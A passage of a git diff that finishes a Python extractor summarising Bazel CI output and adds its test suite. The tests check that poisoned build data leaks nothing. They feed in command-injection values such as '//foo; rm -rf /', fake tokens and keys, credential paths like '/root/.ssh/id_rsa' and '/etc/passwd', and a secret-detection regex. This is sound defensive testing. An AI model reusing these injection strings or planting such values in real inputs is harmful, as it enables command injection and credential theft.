[EXEC_LOG|-] [PROFILE|-]") + step = inv[0] + if valid_lane(step) is None: + ap.error("--invocation STEP must match %s" % LANE_RE.pattern) + bep = inv[1] + exec_log = inv[2] if len(inv) > 2 and inv[2] != "-" else None + profile = inv[3] if len(inv) > 3 and inv[3] != "-" else None + invocations.append((step, bep, exec_log, profile)) + if len(invocations) > MAX_INVOCATIONS: + ap.error("at most %d --invocation entries" % MAX_INVOCATIONS) + if not invocations: + ap.error("at least one --invocation is required") + args.invocations = invocations + return args + + +def main(argv=None): + args = parse_args(argv if argv is not None else sys.argv[1:]) + deadline = time.monotonic() + PARSE_DEADLINE_S + try: + summary = build_summary( + args.lane, args.mode, args.check_run_id, args.pr_hint, args.invocations, deadline + ) + except Tripwire: + sys.stderr.write("::error::ci_analytics_extract: tripwire matched; nothing written\n") + return 4 + + if summary is None: + sys.stderr.write("::error::ci_analytics_extract: no BEP for any invocation; nothing written\n") + return 3 + + try: + # allow_nan=False: a backstop against ever writing invalid JSON + # (bare Infinity/-Infinity/NaN) should a non-finite number reach + # this point despite as_int()/as_duration_ms()/_clamp_pct() -- every + # numeric field this extractor emits is already supposed to be + # finite by the time it gets here. + text = json.dumps(summary, sort_keys=True, separators=(",", ":"), allow_nan=False) + except ValueError: + sys.stderr.write( + "::error::ci_analytics_extract: a non-finite number reached serialization; nothing written\n" + ) + return 4 + if TRIPWIRE_RE.search(text): + sys.stderr.write("::error::ci_analytics_extract: tripwire matched serialized output; nothing written\n") + return 4 + + out_dir = os.path.dirname(args.out) + if out_dir: + os.makedirs(out_dir, exist_ok=True) + tmp_path = args.out + ".tmp" + with open(tmp_path, "w", encoding="utf-8") as fh: + fh.write(text) + os.replace(tmp_path, args.out) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/ci_analytics_extract_test.py b/tools/bazel/ci_analytics_extract_test.py new file mode 100644 index 000000000..dc7de9205 --- /dev/null +++ b/tools/bazel/ci_analytics_extract_test.py @@ -0,0 +1,1429 @@ +"""Tests for ci_analytics_extract.py. + +Three fixture kinds, per the design doc (section 3.5): + + - testdata/ci_analytics/real/*: genuine Bazel 9.2.0 output from an + isolated scratch workspace (tools/bazel/testdata/ci_analytics/regen.sh), + with no remote flags and no ambient environment (env -i). The BEP is + filtered down to only the fields the extractor reads before being + committed; the exec log is committed decompressed (*.binpb) so these + tests don't need host `zstd`. Exercises the real BEP/exec-log/profile + shapes, including a failed test (flaky_test) and, in the post-clean + pair, a disk_cache_hit majority with one local re-execution. + - a synthetic remote fixture, built here with a small protobuf encoder, + for the `remote` and `remote cache hit` runner classes this sandbox has + no RBE endpoint to produce for real. + - testdata/ci_analytics/poisoned-bep.json: a BEP file whose every + extractor-visible field (including a couple of hostile labels) carries + an embedded secret or leaky value. The summary built from it must + contain none of them. +""" + +from __future__ import annotations + +import base64 +import json +import os +import shutil +import subprocess +import sys +import tempfile +import time +import unittest + +sys.path.insert(0, os.path.dirname(__file__)) +import ci_analytics_extract as extract # noqa: E402 + +TESTDATA = os.path.join(os.path.dirname(__file__), "testdata", "ci_analytics") +REAL = os.path.join(TESTDATA, "real") + + +def _deadline(seconds=30.0): + return time.monotonic() + seconds + + +# --- a tiny protobuf encoder, for the synthetic remote fixture and the +# adversarial exec-log tests below --- + + +def _varint(n: int) -> bytes: + out = bytearray() + while True: + b = n & 0x7F + n >>= 7 + if n: + out.append(b | 0x80) + else: + out.append(b) + return bytes(out) + + +def _tag(field: int, wire: int) -> bytes: + return _varint((field << 3) | wire) + + +def _varint_field(field: int, n: int) -> bytes: + return _tag(field, 0) + _varint(n) + + +def _bytes_field(field: int, b: bytes) -> bytes: + return _tag(field, 2) + _varint(len(b)) + b + + +def _str_field(field: int, s: str) -> bytes: + return _bytes_field(field, s.encode("utf-8")) + + +def _duration_bytes(ms: int) -> bytes: + seconds, nanos = divmod(ms, 1000) + return _varint_field(1, seconds) + _varint_field(2, nanos * 1_000_000) + + +def _spawn_metrics(total_ms=0, queue_ms=0, exec_ms=0, input_bytes=0) -> bytes: + body = b"" + if total_ms: + body += _bytes_field(1, _duration_bytes(total_ms)) + if queue_ms: + body += _bytes_field(5, _duration_bytes(queue_ms)) + if exec_ms: + body += _bytes_field(8, _duration_bytes(exec_ms)) + if input_bytes: + body += _varint_field(11, input_bytes) + return body + + +def _spawn(target, mnemonic, runner, cache_hit, metrics, args=(), env=()) -> bytes: + body = b"" + for a in args: # field 1: args. Never decoded by the extractor. + body += _str_field(1, a) + for k, v in env: # field 2: env_vars. Never decoded by the extractor. + body += _bytes_field(2, _str_field(1, k) + _str_field(2, v)) + body += _str_field(7, target) + body += _str_field(8, mnemonic) + body += _str_field(11, runner) + body += _varint_field(12, 1 if cache_hit else 0) + body += _bytes_field(18, metrics) + return body + + +def _length_prefixed(entry: bytes) -> bytes: + return _varint(len(entry)) + entry + + +def _entry_with_spawn(spawn_body: bytes) -> bytes: + entry = _bytes_field(7, spawn_body) + return _length_prefixed(entry) + + +def _invocation_entry(uuid: str) -> bytes: + return _length_prefixed(_bytes_field(2, _str_field(4, uuid))) + + +def synthetic_exec_log(uuid: str) -> bytes: + """A compact exec log (uncompressed; load_exec_log reads it verbatim + when it does not start with the zstd magic) with an invocation entry + then two spawns: a `remote` miss with queue time, and a `remote cache + hit`.""" + out = _invocation_entry(uuid) + out += _entry_with_spawn( + _spawn( + "//:synth_remote", + "CppCompile", + "remote", + False, + _spawn_metrics(total_ms=900, queue_ms=250, exec_ms=500), + ) + ) + out += _entry_with_spawn( + _spawn( + "//:synth_cached", + "CppCompile", + "remote cache hit", + True, + _spawn_metrics(total_ms=20), + ) + ) + return out + + +def synthetic_bep(uuid: str) -> str: + events = [ + { + "id": {"started": {}}, + "started": { + "uuid": uuid, + "startTimeMillis": "1700000000000", + "buildToolVersion": "9.2.0", + "command": "build", + }, + }, + { + "id": {"buildMetrics": {}}, + "buildMetrics": { + "timingMetrics": { + "cpuTimeInMs": "900", + "wallTimeInMs": "950", + "criticalPathTime": "0.900s", + }, + "actionSummary": { + "actionsCreated": "2", + "actionsExecuted": "2", + "runnerCount": [ + {"name": "remote", "count": "1", "execKind": "Remote"}, + {"name": "remote cache hit", "count": "1", "execKind": "Remote"}, + ], + "actionData": [ + { + "mnemonic": "CppCompile", + "actionsExecuted": "2", + "actionsCreated": "2", + "userTime": "0.400s", + "systemTime": "0.100s", + } + ], + }, + }, + }, + { + "id": {"finished": {}}, + "finished": {"exitCode": {"code": 0, "name": "SUCCESS"}, "finishTimeMillis": "1700000001000"}, + }, + ] + return "\n".join(json.dumps(e) for e in events) + "\n" + + +class ExtractorHelperTests(unittest.TestCase): + def test_varint_roundtrip(self): + for n in (0, 1, 127, 128, 300, 2**32, 2**40 + 7): + encoded = _varint(n) + got, p = extract.varint(encoded, 0) + self.assertEqual(got, n) + self.assertEqual(p, len(encoded)) + + def test_varint_rejects_truncated_input(self): + with self.assertRaises(ValueError): + extract.varint(b"\x80", 0) # continuation bit set, nothing follows + + def test_varint_rejects_overlong_input(self): + # No terminator within 64 bits: must raise promptly, not loop while + # accumulating an ever-larger Python int (the quadratic-blowup DoS + # a reviewer's adversarial script reproduced against the + # unbounded version of this function). + start = time.monotonic() + with self.assertRaises(ValueError): + extract.varint(b"\xff" * 160000 + b"\x01", 0) + self.assertLess(time.monotonic() - start, 1.0) + + def test_valid_label(self): + self.assertEqual(extract.valid_label("//foo/bar:baz"), "//foo/bar:baz") + self.assertEqual(extract.valid_label("@@rules_cc+//cc:defs"), "@@rules_cc+//cc:defs") + self.assertIsNone(extract.valid_label("//foo; rm -rf /")) + self.assertIsNone(extract.valid_label("http://evil.example/x")) + + def test_valid_label_rejects_trailing_newline(self): + # fullmatch(), not match() with a trailing "$": "$" matches just + # before a trailing newline under match(), letting a smuggled "\n" + # through every validator. + self.assertIsNone(extract.valid_label("//pkg:name\n")) + self.assertIsNone(extract.valid_mnemonic("GoCompile\n")) + self.assertIsNone(extract.valid_enum("PASSED\n")) + self.assertIsNone(extract.valid_repo("@@foo+\n")) + + def test_valid_label_caps_length(self): + # The colon-separated target-name component is itself capped at 200 + # chars by LABEL_RE; spread the length over a long package path + # instead, to isolate MAX_LABEL_LEN (512) as the thing under test. + short_name = "b" * 190 + under_cap = "//" + ("a" * 300) + ":" + short_name # len 493 < 512 + over_cap = "//" + ("a" * 330) + ":" + short_name # len 523 > 512 + self.assertEqual(extract.valid_label(under_cap), under_cap) + self.assertIsNone(extract.valid_label(over_cap)) + + def test_valid_label_drops_tripwire_strings_individually(self): + self.assertIsNone(extract.valid_label("//pkg:x/tmp/y")) + self.assertIsNone(extract.valid_label("//pkg:x/etc/y")) + self.assertIsNone(extract.valid_label("//pkg:x/runner/y")) + + def test_valid_mnemonic_rejects_injected_text(self): + self.assertEqual(extract.valid_mnemonic("CppCompile"), "CppCompile") + self.assertIsNone(extract.valid_mnemonic("CppCompile; /home/runner/secret")) + + def test_valid_command_and_version(self): + self.assertEqual(extract.valid_command("test"), "test") + self.assertIsNone(extract.valid_command("test\nexport X=1")) + self.assertEqual(extract.valid_version("9.2.0"), "9.2.0") + self.assertIsNone(extract.valid_version("9.2.0; token=ghp_abc at http://evil")) + + def test_valid_uuid(self): + self.assertEqual( + extract.valid_uuid("11111111-2222-3333-4444-555555555555"), + "11111111-2222-3333-4444-555555555555", + ) + self.assertIsNone(extract.valid_uuid("ghp_SECRETSECRETSECRET0123456789abcd")) + self.assertIsNone(extract.valid_uuid("11111111-2222-3333-4444-555555555555\n")) + + def test_valid_lane(self): + self.assertEqual(extract.valid_lane("unit"), "unit") + self.assertEqual(extract.valid_lane("integration-packages"), "integration-packages") + self.assertIsNone(extract.valid_lane("unit Bearer abc.def")) + self.assertIsNone(extract.valid_lane("")) + + def test_as_int_handles_overflowing_float(self): + # A crafted numeric literal (e.g. 1e400) parses as float('inf'); + # int(inf) raises OverflowError, uncaught, before this fix. + self.assertEqual(extract.as_int(float("inf")), 0) + self.assertEqual(extract.as_int(float("-inf")), 0) + self.assertEqual(extract.as_int(float("nan")), 0) + + def test_runner_class(self): + self.assertEqual(extract.runner_class("remote cache hit"), "remote_cache_hit") + self.assertEqual(extract.runner_class("disk cache hit"), "disk_cache_hit") + self.assertEqual(extract.runner_class("remote"), "remote") + self.assertEqual(extract.runner_class("linux-sandbox"), "local") + self.assertEqual(extract.runner_class("worker"), "local") + self.assertEqual(extract.runner_class("something-unexpected"), "other") + + def test_clamp_pct_rejects_non_finite_and_out_of_range(self): + self.assertEqual(extract._clamp_pct(50.0), 50.0) + self.assertEqual(extract._clamp_pct(0.0), 0.0) + self.assertEqual(extract._clamp_pct(100.0), 100.0) + self.assertEqual(extract._clamp_pct(-5.0), 0.0) + self.assertEqual(extract._clamp_pct(150.0), 100.0) + self.assertEqual(extract._clamp_pct(float("inf")), 0.0) + self.assertEqual(extract._clamp_pct(float("-inf")), 0.0) + self.assertEqual(extract._clamp_pct(float("nan")), 0.0) + + +class RealFixtureTests(unittest.TestCase): + """testdata/ci_analytics/real/*: genuine Bazel 9.2.0 output.""" + + @staticmethod + def _fixture_critical_path_time(): + with open(os.path.join(REAL, "cold-bep.json"), encoding="utf-8") as f: + for line in f: + event = json.loads(line) + bm = event.get("buildMetrics") + if isinstance(bm, dict): + tm = bm.get("timingMetrics") + if isinstance(tm, dict) and "criticalPathTime" in tm: + return tm["criticalPathTime"] + return None + + def test_cold_invocation_has_a_failed_test_and_local_spawns(self): + rec = extract.build_invocation( + "test", + os.path.join(REAL, "cold-bep.json"), + os.path.join(REAL, "cold-exec.binpb"), + os.path.join(REAL, "cold-profile.json"), + _deadline(), + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["command"], "test") + self.assertEqual(rec["bazel_version"], "9.2.0") + self.assertEqual(rec["exec_log"], "ok") + self.assertEqual(rec["profile"], "ok") + self.assertGreater(rec["timing"]["wall_ms"], 0) + # criticalPathTime is a Duration string (e.g. "0.212852922s" in the + # currently-regenerated fixture), not criticalPathTimeInMs: as_int() + # on that string alone always silently produced 0 before this fix. + # Read the fixture's own value instead of hardcoding one, since + # regen.sh is nondeterministic run-to-run. + self.assertGreater(rec["timing"]["critical_path_ms"], 0) + self.assertEqual( + rec["timing"]["critical_path_ms"], + extract.as_duration_ms(self._fixture_critical_path_time()), + ) + + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + self.assertIn("TestRunner", by_mnemonic) + self.assertIn("CppCompile", by_mnemonic) + # No RBE in this sandbox: every spawn in the cold run is local. + self.assertEqual(by_mnemonic["TestRunner"]["remote"], 0) + self.assertEqual(by_mnemonic["TestRunner"]["local"], by_mnemonic["TestRunner"]["spawns"]) + + labels = {t["label"]: t for t in rec["tests"]} + self.assertEqual(labels["//:flaky_test"]["overall"], "FAILED") + self.assertEqual(labels["//:pass_test"]["overall"], "PASSED") + self.assertEqual(labels["//:sharded_test"]["shards"], 3) + + # Per-test timing lives at testResult.executionInfo.timingBreakdown, + # not a top-level testResult.timingBreakdown (which doesn't exist): + # confirmed non-zero exec_ms for at least one real test result. + all_results = [r for t in rec["tests"] for r in t["results"]] + self.assertTrue(any(r["exec_ms"] > 0 for r in all_results)) + + # The *_pct fields are always present. They're each 0.0 on this + # fixture (a sandbox with no RBE endpoint: every percentage in the + # real "Critical Path: ...% of the time: [...]" breakdown is + # genuinely 0.00%, not just unparsed) -- the real assertion here is + # that build_timing() parsed the breakdown text at all (a test_* + # key below), not that any one percentage is non-zero. + for key in ( + "remote_pct", + "queue_pct", + "fetch_pct", + "process_pct", + "upload_pct", + "setup_pct", + "network_pct", + ): + self.assertIn(key, rec["critical_path"]) + self.assertNotEqual(rec["critical_path"]["test_label"], "") + + def test_postclean_invocation_is_mostly_disk_cache_hits(self): + rec = extract.build_invocation( + "test", + os.path.join(REAL, "postclean-bep.json"), + os.path.join(REAL, "postclean-exec.binpb"), + None, + _deadline(), + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "ok") + self.assertEqual(rec["profile"], "missing") + + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + self.assertGreater(by_mnemonic["CppCompile"]["disk_cache_hit"], 0) + self.assertEqual(by_mnemonic["CppCompile"]["local"], 0) + # flaky_test's TestRunner spawn is never a disk-cache hit: Bazel + # does not cache a failed test, so it reruns (a cold row). + self.assertGreater(by_mnemonic["TestRunner"]["local"], 0) + cold_targets = {c["target"] for c in rec["cold"]} + self.assertIn("//:flaky_test", cold_targets) + + def test_repo_fetch_is_read_from_the_profile(self): + rec = extract.build_invocation( + "test", + os.path.join(REAL, "cold-bep.json"), + None, + os.path.join(REAL, "cold-profile.json"), + _deadline(), + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "missing") + self.assertEqual(rec["profile"], "ok") + # @@bazel_tools is always fetched (it's bootstrapped, not from a + # registry cache that might already be warm), so repo_fetch must + # be non-empty here: this is the must-fix regression test for + # trim_profile's single-line-document bug, where iter_repo_fetch() + # silently saw zero "Fetching repository" events no matter what was + # actually in the profile, and this assertion would have passed + # vacuously against an empty list. + self.assertTrue(rec["repo_fetch"]) + for row in rec["repo_fetch"]: + self.assertIn("repo", row) + self.assertIn("ms", row) + self.assertIsNotNone(extract.valid_repo(row["repo"])) + + def test_unreadable_profile_path_is_reported_accurately(self): + rec = extract.build_invocation( + "test", + os.path.join(REAL, "cold-bep.json"), + None, + os.path.join(REAL, "does-not-exist-profile.json"), + _deadline(), + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["profile"], "unreadable") + + # Event kinds the extractor itself ever reads out of a BEP event body + # (plus "id", which is on every event). Anything else showing up in a + # fixture is, by definition, something the extractor doesn't need -- + # and therefore something regen.sh's filter_bep() should have dropped. + _EVENT_KIND_ALLOW = { + "id", "started", "testResult", "testSummary", "buildMetrics", "finished", "buildToolLogs", + } + _STARTED_KEY_ALLOW = {"uuid", "command", "buildToolVersion", "startTimeMillis"} + # Keys that, wherever they appear in the structure, are specifically the + # ones known to carry operator/host/filesystem detail in real BEP output + # (test case URIs, output file URIs, exec hostnames, raw status/failure + # detail protos with command lines and paths baked in). + _FORBIDDEN_KEYS_ANY_DEPTH = {"uri", "testActionOutput", "hostname", "statusDetails", "failureDetail"} + + # client_env= (not CLIENT_ENVIRONMENT_VARIABLE, a legitimate Bazel + # skyfunction name that otherwise false-positives on "client_env"). + # Generic enough to catch leaks this fixture's own operator wouldn't + # produce (a different machine, a different token format, ...), not + # just the ones this particular sandbox happens to be able to leak. + _LEAK_PATTERN = extract.re.compile( + r"client_env=|\"host\"|\"user\"|BUILD_HOST|/Users/|/home/|ghp_|sk-|token|cherry|ubuntu", + extract.re.IGNORECASE, + ) + + def _walk_json_leak_check(self, obj, path, event_kinds_seen): + """Recursively asserts structural + string-content leak guards over + a decoded BEP event's JSON. event_kinds_seen collects top-level + event-kind keys seen (id/started/testResult/...) for the caller to + check against _EVENT_KIND_ALLOW.""" + if isinstance(obj, dict): + for key, value in obj.items(): + self.assertNotIn( + key, self._FORBIDDEN_KEYS_ANY_DEPTH, f"{path}.{key} should have been stripped by filter_bep()" + ) + self._walk_json_leak_check(value, f"{path}.{key}", event_kinds_seen) + elif isinstance(obj, list): + for i, value in enumerate(obj): + self._walk_json_leak_check(value, f"{path}[{i}]", event_kinds_seen) + elif isinstance(obj, str): + self.assertIsNone(extract.TRIPWIRE_RE.search(obj), f"{path} matches the document tripwire: {obj!r}") + self.assertIsNone(self._LEAK_PATTERN.search(obj), f"{path} matches the operator-leak pattern: {obj!r}") + + def test_fixtures_do_not_leak_the_operator_environment(self): + """The must-fix: a real fixture reviewer-readable on disk, not just + what the extractor happens to read, must carry nothing from the + operator's own environment, host, or session. + + Structural, not a raw-text denylist: a denylist tuned to one + operator misses things like --client_env=GH_TOKEN=ghp_..., a + different home directory, or an sk-... key. Here we walk the + *decoded* JSON of every BEP event, assert the event-kind and + started-key sets are each a subset of what the extractor actually + reads, assert none of the known leak-prone keys (uri, + testActionOutput, hostname, statusDetails, failureDetail) appear + at any nesting depth, and only then fall back to running the + denylist/tripwire over every decoded string value.""" + for name in ("cold-bep.json", "postclean-bep.json"): + path = os.path.join(REAL, name) + with open(path, encoding="utf-8") as f: + for lineno, line in enumerate(f, start=1): + line = line.strip() + if not line: + continue + event = json.loads(line) + self.assertIsInstance(event, dict, f"{name}:{lineno} is not an object") + kinds = set(event.keys()) + self.assertTrue( + kinds <= self._EVENT_KIND_ALLOW, + f"{name}:{lineno} has event kind(s) {kinds - self._EVENT_KIND_ALLOW} outside the allowlist", + ) + if "started" in event and isinstance(event["started"], dict): + started_keys = set(event["started"].keys()) + self.assertTrue( + started_keys <= self._STARTED_KEY_ALLOW, + f"{name}:{lineno} started has key(s) " + f"{started_keys - self._STARTED_KEY_ALLOW} outside the allowlist", + ) + self._walk_json_leak_check(event, f"{name}:{lineno}", kinds) + + # cold-profile.json is Bazel's own line-per-event trace format, not + # one-JSON-object-per-BEP-line; the leak checks on its string + # content still apply, but there's no BEP event-kind structure to + # validate. + with open(os.path.join(REAL, "cold-profile.json"), encoding="utf-8") as f: + text = f.read() + self.assertIsNone(extract.TRIPWIRE_RE.search(text), "cold-profile.json matches the document tripwire") + self.assertIsNone( + self._LEAK_PATTERN.search(text), "cold-profile.json matches the operator-leak pattern" + ) + + # The exec logs are zstd-compressed protobuf, not JSON -- decode as + # best-effort text (the same way `strings` would) and run the same + # leak pattern over whatever falls out, including non-UTF-8 noise. + for name in ("cold-exec.binpb", "postclean-exec.binpb"): + with open(os.path.join(REAL, name), "rb") as f: + data = f.read() + self.assertIsNone( + self._LEAK_PATTERN.search(data.decode("utf-8", "replace")), + f"{name} matches the operator-leak pattern", + ) + + +class SyntheticRemoteFixtureTests(unittest.TestCase): + """A synthetic exec log + BEP for the `remote` and `remote cache hit` + runner classes, which this sandbox cannot produce against a real RBE + endpoint (design doc section 3.5).""" + + def setUp(self): + self.tmpdir = tempfile.TemporaryDirectory() + self.addCleanup(self.tmpdir.cleanup) + self.uuid = "00000000-0000-0000-0000-000000000001" + self.bep_path = os.path.join(self.tmpdir.name, "bep.json") + self.exec_log_path = os.path.join(self.tmpdir.name, "exec.log") + with open(self.bep_path, "w", encoding="utf-8") as f: + f.write(synthetic_bep(self.uuid)) + with open(self.exec_log_path, "wb") as f: + f.write(synthetic_exec_log(self.uuid)) + + def test_remote_and_remote_cache_hit_spawns_are_classified(self): + rec = extract.build_invocation("build", self.bep_path, self.exec_log_path, None, _deadline()) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "ok") + self.assertEqual(rec["invocation_id"], self.uuid) + # "0.900s" decodes via as_duration_ms to 900ms exactly. + self.assertEqual(rec["timing"]["critical_path_ms"], 900) + + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + cpp = by_mnemonic["CppCompile"] + self.assertEqual(cpp["remote"], 1) + self.assertEqual(cpp["remote_cache_hit"], 1) + self.assertEqual(cpp["remote_queue_ms"], 250) + self.assertEqual(cpp["remote_queue_max_ms"], 250) + self.assertEqual(cpp["remote_exec_ms"], 500) + + cold_targets = {c["target"]: c for c in rec["cold"]} + self.assertIn("//:synth_remote", cold_targets) + self.assertNotIn("//:synth_cached", cold_targets) # a hit, not cold + + +SECRET_MARKERS = ( + "ghp_SECRETTOKEN1234567890", + "evil.example.com", + "attacker.example", + "AWS_SECRET_ACCESS_KEY", + "grpcs://rbe-west-internal.ops.gascity.com", + "/etc/secrets/rbe-client.key", + "DEPLOY_TOKEN", + "s3cr3t-deploy-token-0001", + "/root/.ssh/id_rsa", + "10.0.0.5", + "ghp_abc123", + "BEGIN PRIVATE KEY", + "/home/runner/secret", + "leak.example.com", + "hunter2", +) + + +class PoisonedBEPTests(unittest.TestCase): + """testdata/ci_analytics/poisoned-bep.json: every field the extractor + reads carries a secret or a leaky value, including two hostile labels + (one tripwire-triggering, one with injected text in its status/ + runnerCount fields). The summary must contain none of them, whether + through whitelist validation or the tripwire -- and a hostile label + must only drop that one row, not the whole document.""" + + def test_poisoned_bep_leaks_nothing(self): + rec = extract.build_invocation( + "test", os.path.join(TESTDATA, "poisoned-bep.json"), None, None, _deadline() + ) + self.assertIsNotNone(rec) + text = json.dumps(rec, sort_keys=True) + for marker in SECRET_MARKERS: + self.assertNotIn(marker, text, f"leaked {marker!r} into the summary") + self.assertIsNone(extract.TRIPWIRE_RE.search(text)) + # The poisoned fields were dropped, not merely escaped. + self.assertEqual(rec["command"], "unknown") + self.assertEqual(rec["bazel_version"], "unknown") + self.assertEqual(rec["exit_name"], "UNKNOWN") + # The hostile /etc/-labeled testSummary was dropped entirely, but + # the rest of the document (e.g. //:pass_test) is still present: + # one poisoned label does not kill the whole document. + labels = {t["label"] for t in rec["tests"]} + self.assertNotIn("//pkg:x/etc/evil_test", labels) + self.assertIn("//:pass_test", labels) + + def test_full_summary_build_rejects_nothing_silently_wrong(self): + # The end-to-end path (build_summary -> the tripwire over the + # serialized output) also sees no leak and still writes a summary + # (poisoning a field must not suppress the whole invocation). + summary = extract.build_summary( + "unit", + "local", + "123", + "0", + [("test", os.path.join(TESTDATA, "poisoned-bep.json"), None, None)], + _deadline(), + ) + self.assertIsNotNone(summary) + text = json.dumps(summary, sort_keys=True) + for marker in SECRET_MARKERS: + self.assertNotIn(marker, text, f"leaked {marker!r} into the summary") + + def test_poisoned_exec_log_leaks_nothing(self): + """Secrets in a spawn's args/env, next to a hostile mnemonic and a + hostile target, built with the test-side varint encoder: args/env + (fields 1/2) are never decoded at all, and the hostile + mnemonic/target are dropped by valid_mnemonic()/valid_label().""" + uuid = "00000000-0000-0000-0000-00000000bad1" + exec_log = _invocation_entry(uuid) + _entry_with_spawn( + _spawn( + "//pkg:x/etc/evil", # hostile target: tripwire substring + "Evil; /home/runner/secret", # hostile mnemonic: invalid charset + "local", + False, + _spawn_metrics(total_ms=10, exec_ms=10), + # A label-shaped secret: if a future regression ever + # decoded args (field 1) into the label/target used + # anywhere downstream (e.g. mistaking an argv[] entry for + # the target), this would surface as a leaked + # //:hunter2_secret row rather than silently passing. + args=("--token=hunter2", "//:hunter2_secret", "AKIAIOSFODNN7EXAMPLE"), + env=(("DEPLOY_TOKEN", "s3cr3t-deploy-token-0001"),), + ) + ) + with tempfile.TemporaryDirectory() as tmp: + bep_path = os.path.join(tmp, "bep.json") + exec_path = os.path.join(tmp, "exec.log") + with open(bep_path, "w", encoding="utf-8") as f: + f.write(synthetic_bep(uuid)) + with open(exec_path, "wb") as f: + f.write(exec_log) + rec = extract.build_invocation("test", bep_path, exec_path, None, _deadline()) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "ok") + self.assertEqual(rec["mnemonics"], []) # the hostile mnemonic was dropped + self.assertEqual(rec["cold"], []) # and so is the only spawn carrying it + text = json.dumps(rec, sort_keys=True) + for marker in ( + "hunter2", + "hunter2_secret", + "AKIAIOSFODNN7EXAMPLE", + "DEPLOY_TOKEN", + "s3cr3t-deploy-token-0001", + ): + self.assertNotIn(marker, text) + + def test_poisoned_profile_leaks_nothing(self): + # One event per line -- {"traceEvents":[\n{...},\n{...}\n]} -- the + # real shape Bazel's own --profile output is in, and the shape + # iter_repo_fetch() actually reads line by line: a single + # json.dump() here (one line for the whole document) would make + # every "Fetching repository" entry live on the one line that also + # contains the "traceEvents" key, whose top-level dict has no "cat" + # of its own, so it never reaches ev.get("cat") == "Fetching + # repository" at all. repo_fetch would always come back empty and + # this test would pass vacuously, without ever exercising + # valid_repo() against the hostile name. + hostile = { + "cat": "Fetching repository", + "name": "@@evil+; token=hunter2 /etc/passwd", + "ts": 0, + "dur": 1000, + } + valid = {"cat": "Fetching repository", "name": "@@rules_cc+", "ts": 2000, "dur": 500} + with tempfile.TemporaryDirectory() as tmp: + bep_path = os.path.join(tmp, "bep.json") + profile_path = os.path.join(tmp, "profile.json") + with open(bep_path, "w", encoding="utf-8") as f: + f.write(synthetic_bep("00000000-0000-0000-0000-00000000bad2")) + with open(profile_path, "w", encoding="utf-8") as f: + f.write('{"traceEvents":[\n') + f.write(",\n".join(json.dumps(e) for e in (hostile, valid))) + f.write("\n]}\n") + rec = extract.build_invocation("test", bep_path, None, profile_path, _deadline()) + self.assertIsNotNone(rec) + self.assertEqual(rec["profile"], "ok") + repos = {r["repo"] for r in rec["repo_fetch"]} + self.assertNotIn("@@evil+; token=hunter2 /etc/passwd", repos) # the hostile repo name was dropped + self.assertIn("@@rules_cc+", repos) # its valid sibling survives + text = json.dumps(rec, sort_keys=True) + self.assertNotIn("hunter2", text) + + def test_one_tripwire_label_drops_only_that_row(self): + lines = [ + json.dumps( + { + "started": { + "uuid": "11111111-2222-3333-4444-555555555555", + "command": "test", + "buildToolVersion": "9.2.0", + } + } + ), + json.dumps( + { + "id": {"testSummary": {"label": "//internal/runner/tmp:x/etc/y_test"}}, + "testSummary": {"overallStatus": "PASSED"}, + } + ), + json.dumps( + { + "id": {"testSummary": {"label": "//:fine_test"}}, + "testSummary": {"overallStatus": "PASSED"}, + } + ), + ] + with tempfile.TemporaryDirectory() as tmp: + bep_path = os.path.join(tmp, "t.bep.json") + out_path = os.path.join(tmp, "t.out.json") + with open(bep_path, "w", encoding="utf-8") as f: + f.write("\n".join(lines) + "\n") + rc = extract.main( + [ + "--lane", "unit", "--mode", "local", "--check-run-id", "1", "--pr-hint", "0", + "--invocation", "test", bep_path, "--out", out_path, + ] + ) + self.assertEqual(rc, 0) + with open(out_path, encoding="utf-8") as f: + summary = json.load(f) + labels = {t["label"] for t in summary["invocations"][0]["tests"]} + self.assertNotIn("//internal/runner/tmp:x/etc/y_test", labels) + self.assertIn("//:fine_test", labels) + + +class CLITests(unittest.TestCase): + def test_end_to_end_writes_a_schema_v1_file(self): + with tempfile.TemporaryDirectory() as tmp: + out = os.path.join(tmp, "nested", "summary.json") + rc = extract.main( + [ + "--lane", + "unit", + "--mode", + "local", + "--check-run-id", + "42", + "--pr-hint", + "7", + "--invocation", + "test", + os.path.join(REAL, "cold-bep.json"), + os.path.join(REAL, "cold-exec.binpb"), + os.path.join(REAL, "cold-profile.json"), + "--out", + out, + ] + ) + self.assertEqual(rc, 0) + with open(out, encoding="utf-8") as f: + summary = json.load(f) + self.assertEqual(summary["format"], "ci-analytics-summary") + self.assertEqual(summary["version"], 1) + self.assertEqual(summary["lane"], "unit") + self.assertEqual(summary["check_run_id"], 42) + self.assertEqual(len(summary["invocations"]), 1) + + def test_no_bep_anywhere_exits_3_and_writes_nothing(self): + with tempfile.TemporaryDirectory() as tmp: + missing = os.path.join(tmp, "nope.json") + out = os.path.join(tmp, "summary.json") + rc = extract.main( + [ + "--lane", + "unit", + "--mode", + "local", + "--check-run-id", + "1", + "--pr-hint", + "0", + "--invocation", + "test", + missing, + "--out", + out, + ] + ) + self.assertEqual(rc, 3) + self.assertFalse(os.path.exists(out)) + + def test_too_many_invocations_rejected(self): + with tempfile.TemporaryDirectory() as tmp: + out = os.path.join(tmp, "summary.json") + argv = ["--lane", "unit", "--mode", "local", "--check-run-id", "1", "--pr-hint", "0", "--out", out] + for i in range(extract.MAX_INVOCATIONS + 1): + argv += ["--invocation", f"step{i}", os.path.join(REAL, "cold-bep.json")] + with self.assertRaises(SystemExit): + extract.parse_args(argv) + + def test_hostile_lane_mode_step_and_uuid_are_rejected_or_dropped(self): + with tempfile.TemporaryDirectory() as tmp: + bep_path = os.path.join(tmp, "u.bep.json") + out = os.path.join(tmp, "u.out.json") + hostile_uuid = "ghp_SECRETSECRETSECRET0123456789abcd" + with open(bep_path, "w", encoding="utf-8") as f: + f.write( + json.dumps( + {"started": {"uuid": hostile_uuid, "command": "test", "buildToolVersion": "9.2.0"}} + ) + + "\n" + ) + # --lane, --mode and STEP with injected auth-header-shaped 